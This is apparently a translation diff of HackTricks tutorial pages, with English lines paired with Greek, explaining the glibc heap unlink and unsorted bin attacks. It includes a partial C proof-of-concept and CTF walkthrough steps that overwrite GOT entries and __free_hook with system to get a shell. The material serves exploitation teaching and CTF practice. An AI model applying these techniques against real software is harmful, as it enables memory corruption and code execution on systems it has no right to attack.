chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- Attack doesn't work if tcaches are used (after 2.26)
|
||||
- Η επίθεση δεν λειτουργεί αν χρησιμοποιούνται tcaches (μετά την 2.26)
|
||||
|
||||
### Goal
|
||||
### Στόχος
|
||||
|
||||
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
|
||||
Αυτή η επίθεση επιτρέπει να **αλλάξει ένας δείκτης σε ένα chunk ώστε να δείχνει 3 διευθύνσεις πριν από τον εαυτό του**. Αν αυτή η νέα τοποθεσία (περίγυρος όπου βρισκόταν ο δείκτης) έχει ενδιαφέροντα στοιχεία, όπως άλλες ελεγχόμενες κατανομές / στοίβα..., είναι δυνατόν να διαβαστούν/επικαλυφθούν για να προκληθεί μεγαλύτερη ζημιά.
|
||||
|
||||
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
|
||||
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
|
||||
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
|
||||
- Αν αυτός ο δείκτης βρισκόταν στη στοίβα, επειδή τώρα δείχνει 3 διευθύνσεις πριν από τον εαυτό του και ο χρήστης μπορεί δυνητικά να το διαβάσει και να το τροποποιήσει, θα είναι δυνατό να διαρρεύσει ευαίσθητες πληροφορίες από τη στοίβα ή ακόμη και να τροποποιήσει τη διεύθυνση επιστροφής (ίσως) χωρίς να αγγίξει το canary.
|
||||
- Στα παραδείγματα CTF, αυτός ο δείκτης βρίσκεται σε έναν πίνακα δεικτών σε άλλες κατανομές, επομένως, κάνοντάς τον να δείχνει 3 διευθύνσεις πριν και έχοντας τη δυνατότητα να το διαβάσει και να το γράψει, είναι δυνατό να κάνει τους άλλους δείκτες να δείχνουν σε άλλες διευθύνσεις.\
|
||||
Καθώς ο χρήστης μπορεί δυνητικά να διαβάσει/γράψει και τις άλλες κατανομές, μπορεί να διαρρεύσει πληροφορίες ή να επικαλύψει νέες διευθύνσεις σε αυθαίρετες τοποθεσίες (όπως στο GOT).
|
||||
|
||||
### Requirements
|
||||
### Απαιτήσεις
|
||||
|
||||
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
|
||||
- Stack leak in order to set the pointers of the fake chunk.
|
||||
- Κάποιος έλεγχος σε μια μνήμη (π.χ. στοίβα) για να δημιουργηθούν μερικά chunks δίνοντας τιμές σε μερικά από τα χαρακτηριστικά.
|
||||
- Διαρροή από τη στοίβα προκειμένου να ρυθμιστούν οι δείκτες του ψεύτικου chunk.
|
||||
|
||||
### Attack
|
||||
### Επίθεση
|
||||
|
||||
- There are a couple of chunks (chunk1 and chunk2)
|
||||
- The attacker controls the content of chunk1 and the headers of chunk2.
|
||||
- In chunk1 the attacker creates the structure of a fake chunk:
|
||||
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
|
||||
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
|
||||
- Υπάρχουν μερικά chunks (chunk1 και chunk2)
|
||||
- Ο επιτιθέμενος ελέγχει το περιεχόμενο του chunk1 και τις κεφαλίδες του chunk2.
|
||||
- Στο chunk1 ο επιτιθέμενος δημιουργεί τη δομή ενός ψεύτικου chunk:
|
||||
- Για να παρακάμψει τις προστασίες, διασφαλίζει ότι το πεδίο `size` είναι σωστό για να αποφευχθεί το σφάλμα: `corrupted size vs. prev_size while consolidating`
|
||||
- και τα πεδία `fd` και `bk` του ψεύτικου chunk δείχνουν εκεί που αποθηκεύεται ο δείκτης του chunk1 με offsets -3 και -2 αντίστοιχα, έτσι ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν σε θέση στη μνήμη (στοίβα) όπου βρίσκεται η πραγματική διεύθυνση του chunk1:
|
||||
|
||||
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
|
||||
- When the second chunk is freed then this fake chunk is unlinked happening:
|
||||
- `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
- `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
|
||||
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
|
||||
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
|
||||
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
|
||||
- Οι κεφαλίδες του chunk2 τροποποιούνται για να υποδείξουν ότι το προηγούμενο chunk δεν χρησιμοποιείται και ότι το μέγεθος είναι το μέγεθος του ψεύτικου chunk που περιέχεται.
|
||||
- Όταν το δεύτερο chunk απελευθερωθεί, τότε αυτό το ψεύτικο chunk αποσυνδέεται συμβαίνοντας:
|
||||
- `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
- `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
- Προηγουμένως είχε γίνει ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στην ίδια θέση (την τοποθεσία στη στοίβα όπου αποθηκεύτηκε το `chunk1`, οπότε ήταν μια έγκυρη συνδεδεμένη λίστα). Καθώς **και οι δύο δείχνουν στην ίδια τοποθεσία**, μόνο η τελευταία (`fake_chunk->bk->fd = fake_chunk->fd`) θα έχει **επίδραση**.
|
||||
- Αυτό θα **επικαλύψει τον δείκτη στο chunk1 στη στοίβα με τη διεύθυνση (ή τα bytes) που αποθηκεύονται 3 διευθύνσεις πριν στη στοίβα**.
|
||||
- Επομένως, αν ένας επιτιθέμενος μπορούσε να ελέγξει ξανά το περιεχόμενο του chunk1, θα είναι σε θέση να **γράψει μέσα στη στοίβα** έχοντας τη δυνατότητα να επικαλύψει τη διεύθυνση επιστροφής παρακάμπτοντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμη και τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου αν ο επιτιθέμενος μπορούσε να ελέγξει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε.
|
||||
- Σημειώστε ότι αυτό ήταν δυνατό επειδή οι **διευθύνσεις αποθηκεύονται στη στοίβα**. Ο κίνδυνος και η εκμετάλλευση μπορεί να εξαρτώνται από **πού αποθηκεύονται οι διευθύνσεις του ψεύτικου chunk**.
|
||||
|
||||
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
|
||||
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
|
||||
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
|
||||
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
|
||||
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
|
||||
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
|
||||
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
|
||||
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
|
||||
- Αν και θα ήταν περίεργο να βρείτε μια επίθεση unlink ακόμη και σε ένα CTF, εδώ έχετε μερικά writeups όπου χρησιμοποιήθηκε αυτή η επίθεση:
|
||||
- Παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
|
||||
- Σε αυτό το παράδειγμα, αντί για τη στοίβα υπάρχει ένας πίνακας διευθύνσεων malloc'ed. Η επίθεση unlink εκτελείται για να μπορέσει να κατανεμηθεί ένα chunk εδώ, επομένως να μπορεί να ελέγξει τους δείκτες του πίνακα των malloc'ed διευθύνσεων. Στη συνέχεια, υπάρχει μια άλλη λειτουργία που επιτρέπει να τροποποιηθεί το περιεχόμενο των chunks σε αυτές τις διευθύνσεις, που επιτρέπει να δείχνουν διευθύνσεις στο GOT, να τροποποιούν τις διευθύνσεις συναρτήσεων για να πάρουν διαρροές και RCE.
|
||||
- Ένα άλλο παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
|
||||
- Ακριβώς όπως στο προηγούμενο παράδειγμα, υπάρχει ένας πίνακας διευθύνσεων κατανομών. Είναι δυνατό να εκτελεστεί μια επίθεση unlink για να γίνει η διεύθυνση στην πρώτη κατανομή να δείχνει μερικές θέσεις πριν από την αρχή του πίνακα και να επικαλύψει αυτή την κατανομή στη νέα θέση. Επομένως, είναι δυνατό να επικαλυφθούν οι δείκτες άλλων κατανομών ώστε να δείχνουν στο GOT του atoi, να το εκτυπώσουν για να πάρουν μια διαρροή libc και στη συνέχεια να επικαλύψουν το GOT του atoi με τη διεύθυνση σε ένα one gadget.
|
||||
- Παράδειγμα CTF με προσαρμοσμένες συναρτήσεις malloc και free που εκμεταλλεύονται μια ευπάθεια πολύ παρόμοια με την επίθεση unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
|
||||
- Υπάρχει μια υπερχείλιση που επιτρέπει τον έλεγχο των δεικτών FD και BK της προσαρμοσμένης malloc που θα είναι (προσαρμοσμένη) απελευθερωμένη. Επιπλέον, η heap έχει το exec bit, οπότε είναι δυνατό να διαρρεύσει μια διεύθυνση heap και να δείξει μια συνάρτηση από το GOT σε ένα chunk heap με shellcode για εκτέλεση.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,70 +4,70 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is an unsorted bin check this page:
|
||||
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα unsorted bin, ελέγξτε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
|
||||
Οι unsorted λίστες είναι ικανές να γράφουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του chunk. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτή τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να είναι χρήσιμη για να διαρρεύσει διευθύνσεις Glibc ή να παρακάμψει κάποια άμυνα.
|
||||
|
||||
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
|
||||
Έτσι, βασικά, αυτή η επίθεση επιτρέπει να **οριστεί ένας μεγάλος αριθμός σε μια αυθαίρετη διεύθυνση**. Αυτός ο μεγάλος αριθμός είναι μια διεύθυνση, η οποία θα μπορούσε να είναι μια διεύθυνση heap ή μια διεύθυνση Glibc. Ένας τυπικός στόχος είναι **`global_max_fast`** για να επιτρέψει τη δημιουργία fast bin bins με μεγαλύτερα μεγέθη (και να περάσει από μια επίθεση unsorted bin σε μια επίθεση fast bin).
|
||||
|
||||
> [!TIP]
|
||||
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
|
||||
> Ρ> ίξτε μια ματιά στο παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) και χρησιμοποιώντας 0x4000 και 0x5000 αντί για 0x400 και 0x500 ως μεγέθη chunk (για να αποφευχθεί το Tcache) είναι δυνατόν να δείτε ότι **σήμερα** το σφάλμα **`malloc(): unsorted double linked list corrupted`** ενεργοποιείται.
|
||||
>
|
||||
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
|
||||
> Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι δυνατή η διόρθωση της διπλής συνδεδεμένης λίστας ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου chunk στη θέση `fd` της και ότι το ψεύτικο chunk `fd` δείχνει στην αρένα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
|
||||
> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το μικρό και το μεγάλο). Έτσι, μπορούμε μόνο να **χρησιμοποιήσουμε κατανομές από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες κατανομές και να καταρρεύσει), και για να ενεργοποιηθεί αυτό πρέπει να **κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
|
||||
>
|
||||
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
|
||||
> Σημειώστε ότι η επαναγραφή του **`global_max_fast`** μπορεί να βοηθήσει σε αυτή την περίπτωση, εμπιστευόμενοι ότι το fast bin θα είναι σε θέση να φροντίσει όλες τις άλλες κατανομές μέχρι να ολοκληρωθεί η εκμετάλλευση.
|
||||
|
||||
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
|
||||
Ο κώδικας από [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσετε τις mallocs για να κατανεμηθεί μνήμη αρκετά μεγάλη ώστε να μην καταλήξει σε Tcache, μπορείτε να δείτε ότι το προηγουμένως αναφερόμενο σφάλμα εμφανίζεται αποτρέποντας αυτή την τεχνική: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
|
||||
Αυτό είναι στην πραγματικότητα μια πολύ βασική έννοια. Τα chunks στο unsorted bin θα έχουν δείκτες. Το πρώτο chunk στο unsorted bin θα έχει στην πραγματικότητα τους συνδέσμους **`fd`** και **`bk`** **να δείχνουν σε ένα μέρος της κύριας αρένας (Glibc)**.\
|
||||
Επομένως, αν μπορείτε να **βάλτε ένα chunk μέσα σε ένα unsorted bin και να το διαβάσετε** (use after free) ή **να το κατανεμηθείτε ξανά χωρίς να επαναγράψετε τουλάχιστον 1 από τους δείκτες** για να **το διαβάσετε**, μπορείτε να έχετε μια **διαρροή πληροφοριών Glibc**.
|
||||
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
|
||||
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
|
||||
Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτή την αναφορά**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 chunks (A, B, C και D - D είναι μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε μια υπερχείλιση null byte στο B χρησιμοποιήθηκε για να κάνει το C να υποδείξει ότι το B ήταν αχρησιμοποίητο. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του B να είναι A+B.\
|
||||
Στη συνέχεια, το C απελευθερώθηκε και συγχωνεύθηκε με A+B (αλλά το B ήταν ακόμα σε χρήση). Ένα νέο chunk μεγέθους A κατανεμήθηκε και στη συνέχεια οι διευθύνσεις libc διαρρεύθηκαν στο B από όπου διαρρεύθηκαν.
|
||||
|
||||
## References & Other examples
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
|
||||
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
|
||||
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
|
||||
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
|
||||
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
|
||||
- Ο στόχος είναι να επαναγραφεί μια παγκόσμια μεταβλητή με μια τιμή μεγαλύτερη από 4869 ώστε να είναι δυνατή η λήψη της σημαίας και το PIE να μην είναι ενεργοποιημένο.
|
||||
- Είναι δυνατόν να παραχθούν chunks αυθαίρετου μεγέθους και υπάρχει μια υπερχείλιση heap με το επιθυμητό μέγεθος.
|
||||
- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να καταχραστεί την υπερχείλιση, chunk1 για να υπερχυθεί και chunk2 ώστε το top chunk να μην συγχωνευθεί με τα προηγούμενα.
|
||||
- Στη συνέχεια, το chunk1 απελευθερώνεται και το chunk0 υπερχύνεται ώστε ο δείκτης `bk` του chunk1 να δείχνει σε: `bk = magic - 0x10`
|
||||
- Στη συνέχεια, το chunk3 κατανεμήθηκε με το ίδιο μέγεθος όπως το chunk1, το οποίο θα ενεργοποιήσει την επίθεση unsorted bin και θα τροποποιήσει την τιμή της παγκόσμιας μεταβλητής, καθιστώντας δυνατή τη λήψη της σημαίας.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
|
||||
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
|
||||
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
|
||||
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
|
||||
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
|
||||
- Now a **fast bin attack** is performed:
|
||||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
|
||||
- Η συνάρτηση συγχώνευσης είναι ευάλωτη επειδή αν οι δύο δείκτες που περάστηκαν είναι ο ίδιος θα επανακατανεμηθεί σε αυτόν και στη συνέχεια θα απελευθερωθεί αλλά επιστρέφει έναν δείκτη σε αυτήν την απελευθερωμένη περιοχή που μπορεί να χρησιμοποιηθεί.
|
||||
- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευθεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Στη συνέχεια, η **συνάρτηση συγχώνευσης καλείται με το chunk0** δύο φορές, γεγονός που θα προκαλέσει χρήση μετά την απελευθέρωση.
|
||||
- Στη συνέχεια, η **συνάρτηση `view`** καλείται με δείκτη 2 (ο οποίος είναι ο δείκτης του chunk που χρησιμοποιήθηκε μετά την απελευθέρωση), το οποίο θα **διαρρεύσει μια διεύθυνση libc**.
|
||||
- Καθώς το δυαδικό έχει προστασίες για να επιτρέπει μόνο malloc μεγέθη μεγαλύτερα από **`global_max_fast`** ώστε να μην χρησιμοποιείται κανένα fastbin, θα χρησιμοποιηθεί μια επίθεση unsorted bin για να επαναγραφεί η παγκόσμια μεταβλητή `global_max_fast`.
|
||||
- Στη συνέχεια, είναι δυνατόν να καλέσετε τη συνάρτηση edit με τον δείκτη 2 (τον δείκτη του δείκτη που χρησιμοποιήθηκε μετά την απελευθέρωση) και να επαναγράψετε τον δείκτη `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη διεύθυνση ελεύθερης μνήμης (0x20) θα **ενεργοποιήσει την επίθεση unsorted bin** επαναγράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks σε fast bins.
|
||||
- Τώρα εκτελείται μια **επίθεση fast bin**:
|
||||
- Πρώτα απ 'όλα, ανακαλύπτεται ότι είναι δυνατόν να εργαστείτε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατόν να επαναγράψουμε έναν δείκτη συνάρτησης που θα εκτελείται
|
||||
- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συνάρτηση συγχώνευσης καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε ένα ελεύθερο chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
|
||||
- Στη συνέχεια, η συνάρτηση edit καλείται σε αυτό το chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στη προηγούμενη συνάρτηση **`__free_hook`**.
|
||||
- Στη συνέχεια, δημιουργείται ένα chunk μεγέθους `0x1f8` για να ανακτηθεί από το fast bin το προηγούμενο άχρηστο chunk, ώστε να δημιουργηθεί άλλο chunk μεγέθους `0x1f8` για να αποκτήσει ένα fast bin chunk στη **`__free_hook`** το οποίο επαναγράφεται με τη διεύθυνση της συνάρτησης **`system`**.
|
||||
